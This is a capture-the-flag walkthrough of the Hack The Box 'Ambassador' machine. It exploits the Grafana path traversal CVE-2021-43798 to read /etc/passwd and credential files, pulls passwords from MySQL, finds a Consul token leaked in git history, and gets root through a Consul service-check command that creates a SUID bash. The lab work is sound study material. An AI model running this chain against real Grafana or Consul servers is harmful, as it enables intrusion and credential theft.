Description

Ambassador is a medium Hack The Box machine that features:

  • Path Traversal vulnerability in Grafana that allows reading administrator and MySQL service credentials
  • MySQL database contains plain-text credentials of a Linux user
  • Privilege Escalation by using Consul application executed as root user and leaked authentication token in a GIt repository

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.10.11.183.

$ ping -c 3 10.10.11.183
PING 10.10.11.183 (10.10.11.183) 56(84) bytes of data.
64 bytes from 10.10.11.183: icmp_seq=1 ttl=63 time=45.7 ms
64 bytes from 10.10.11.183: icmp_seq=2 ttl=63 time=46.5 ms
64 bytes from 10.10.11.183: icmp_seq=3 ttl=63 time=47.1 ms

--- 10.10.11.183 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 45.741/46.432/47.091/0.551 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.10.11.183 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.183
Host is up (0.051s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds

We get four open ports: 22, 80, 3000 and 3306.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.10.11.183 -sV -sC -p22,80,3000,3306 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.183
Host is up (0.047s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 29:dd:8e:d7:17:1e:8e:30:90:87:3c:c6:51:00:7c:75 (RSA)
|   256 80:a4:c5:2e:9a:b1:ec:da:27:64:39:a4:08:97:3b:ef (ECDSA)
|_  256 f5:90:ba:7d:ed:55:cb:70:07:f2:bb:c8:91:93:1b:f6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ambassador Development Server
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: Hugo 0.94.2
3000/tcp open  http    Grafana http
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 1 disallowed entry 
|_/
| http-title: Grafana
|_Requested resource was /login
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 10
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, ODBCClient, Speaks41ProtocolOld, SwitchToSSLAfterHandshake, LongPassword, LongColumnFlag, Speaks41ProtocolNew, IgnoreSigpipes, FoundRows, SupportsTransactions, InteractiveClient, SupportsLoadDataLocal, SupportsCompression, DontAllowDatabaseTableColumn, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: _T\x7FQ3{\x1A?M\x1F5m\x7Fhn\x05(      \x04n
|_  Auth Plugin Name: caching_sha2_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.22 seconds

We get three services: one Secure Shell (SSH), two Hypertext Transfer Protocol (HTTP) and one MySQL database manager. As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We add the ambassador.htb domain to the /etc/hosts file.

$ echo '10.10.11.183 ambassador.htb' | sudo tee -a /etc/hosts

In the 80 port we find the Ambassador Development Server static blog with one article: Welcome to the Ambassador Development Server. It seems that the developer account exists to login using the SSH service. The password will be given by the DevOps team. In the 3000 port we find a Grafana instance using the 8.2.0 version. Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: <grafana_host_url>/public/plugins//, where is the plugin ID for any installed plugin, CVE-2021-43798.

Exploitation

We can exploit the vulnerability by using a proof of concept build by S1GH in Exploit-DB. We check that it is working by reading the console users in the /etc/hosts file.

$ searchsploit -m 50581
$ python 50581.py -H http://ambassador.htb:3000
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000:developer:/home/developer:/bin/bash
...
consul:x:997:997::/home/consul:/bin/false

We find the console users root, developer and consul. A default installation of Grafana stores its credentials in the /etc/grafana/grafana.ini file.

$ python 50581.py -H http://ambassador.htb:3000
Read file > /etc/grafana/grafana.ini
...
# default admin user, created on startup
;admin_user = admin

# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = messageInABottle685427
...

The default administrator user is admin and the password messageInABottle685427. We can login in the Grafana dashboard. We find that the server has a data source loaded in the Configuration > Data sources section, mysql.yaml. By default, the data source configuration is saved in the /etc/grafana/provisioning/datasources/ directory, so let’s check the .yaml file with the previous vulnerability.

Read file > /etc/grafana/provisioning/datasources/mysql.yaml
apiVersion: 1

datasources:
 - name: mysql.yaml 
   type: mysql
   host: localhost
   database: grafana
   user: grafana
   password: dontStandSoCloseToMe63221!
   editable: false

We find the credentials of the MySQL database, with grafana username, dontStandSoCloseToMe63221! password and grafana database. We can connect to the database server using the credentials to list the databases.

$ mysql -u grafana -h ambassador.htb -p'dontStandSoCloseToMe63221!' --skip-ssl
...

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0,054 sec)

MySQL [(none)]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0,048 sec)

MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0,051 sec)

We find one interesting database, whackywidget. Enumerating it we find a table called users, with one username, developer and one password encoded with Base64, YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== which decoded is anEnglishManInNewYork027468. We can use these credentials to login using SSH protocol.

$ ssh developer@ambassador.htb
developer@ambassador.htb's password:
...
developer@ambassador:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)

Post-Exploitation

We find that the consul application is executed by the root user.

developer@ambassador:/opt/my-app$ ps -ef | grep root
...
root        1093       1  0 17:11 ?        00:00:06 /usr/bin/consul agent -config-dir=/etc/consul.d/config.d -config-file=/etc/consul.d/consul.hcl
...

Consul is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime. If it is not configured correctly it is possible to run commands easily as the process owner as seen here. We find the whackywidget application in the /opt/my-app path.

developer@ambassador:/opt/my-app$ ls
env  whackywidget

The script which sets the credentials to Consul is the whakywidget/put-config-in-consul.sh one.

developer@ambassador:/opt/my-app$ cat whackywidget/put-config-in-consul.sh 
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running

consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

We find that we are inside a .git folder. We can check for the changes in the latest commit:

developer@ambassador:/opt/my-app$ git diff HEAD~1
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
 
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

We find that in the previous commit the Consul token bb03b43b-1d81-d62b-24b5-39540ee469b5 was leaked. We can use this token to gain remote command execution in the machine as root user as the API port 8500 is opened.

developer@ambassador:/opt/my-app$ ss -tulnp
Netid          State           Recv-Q          Send-Q                   Local Address:Port                      Peer Address:Port          Process 
...
tcp            LISTEN          0               4096                         127.0.0.1:8500                           0.0.0.0:*
...

Let’s firstly create the /tmp/exploit.sh file which will copy and SUID the Bash binary file to the /tmp directory.

developer@ambassador:/opt/my-app$ echo -e 'cp /bin/bash /tmp/suid-bash;chmod u+s /tmp/suid-bash' > /tmp/exploit.sh

Then we send the request to run the command to the localhost service in port 8500.

eveloper@ambassador:/opt/my-app$ curl --header "X-Consul-Token: bb03b43b-1d81-d62b-24b5-39540ee469b5" --request PUT -d '{"ID": "test", "Name": "test", "Address": "127.0.0.1", "Port": 80, "check": {"Args": ["/usr/bin/bash", "/tmp/exploit.sh"], "interval": "10s", "timeout": "1s"}}' http://127.0.0.1:8500/v1/agent/service/register

After a few seconds, we find that the SUID Bash binary is created, we can run it to spawn a root shell.

developer@ambassador:/opt/my-app$ ls /tmp/suid-bash
/tmp/suid-bash
developer@ambassador:/opt/my-app$ /tmp/suid-bash -p
suid-bash-5.0# id
uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer)

Flags

In the root shell we can retrieve the user.txt and root.txt flags.

suid-bash-5.0# cat /home/developer/user.txt 
<REDACTED>
suid-bash-5.0# cat /root/root.txt 
<REDACTED>